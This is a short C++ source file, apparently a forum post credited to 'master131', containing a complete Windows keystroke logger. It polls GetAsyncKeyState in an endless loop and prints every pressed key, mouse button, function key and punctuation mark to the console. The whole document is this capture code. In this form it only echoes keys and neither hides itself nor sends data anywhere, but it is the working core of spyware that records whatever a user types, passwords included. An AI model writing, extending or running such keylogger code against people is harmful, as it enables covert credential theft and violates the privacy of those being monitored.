Code:
//GAKS.cpp written by master131
#include <Windows.h>
#include <iostream>
int main()
{
using namespace std;
char* keys[] = {"{LEFTMOUSE}", "{RIGHTMOUSE}", "{CANCEL}",
"{MIDDLEMOUSE}", "{XBUTTON1}", "{XBUTTON2}", "", "{BACKSPACE}", "{TAB}",
"","","{CLEAR}", "{ENTER}", "", "", "{SHIFT}", "{CTRL}", "{ALT}", "{PAUSE}", "{CAPSLOCK}" };
char* otherkeys[] = {"{SPACE}", "{PGUP}", "{PGDOWN}", "{END}", "{HOME}", "{LEFT ARROW}", "{UP ARROW}",
"{RIGHT ARROW}", "{DOWN ARROW}", "{SELECT}", "{PRINT}", "{EXECUTE}", "{PRNTSCREEN}", "{INS}",
"{DEL}", "{HELP}"};
char* standardkeys[] = {":", "+", ",", "-", ".", "/", "`"};
char* misckeys[] = {"[", "\\", "]", "'"};
char* numpadkeys[] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "*", "+", "", "-", ".", "/"};
while(1)
{
for(int i = 0; i < 255; i++)
if(GetAsyncKeyState(i))
{
while(GetAsyncKeyState(i)) { };
if(i >= 1 && i <= 19) //Special Keys
cout << keys[i-1];
if(i >= 32 && i <= 47) //Other keys
cout << otherkeys[i-32];
if(i >= 48 && i <= 90) //Literal Keys
cout << (char)tolower(i);
if(i >= 96 && i <= 111) //Numpad keys
cout << numpadkeys[i-96];
if(i >= 112 && i <= 135) //F keys
cout << "{F" << i - 111 << "}";
if(i >= 186 && i <= 192) //Punctuation Keys
cout << standardkeys[i-186];
if(i >= 219 && i <= 222) //Misc keys
cout << misckeys[i-219];
}
Sleep(1);
}
return 0;
}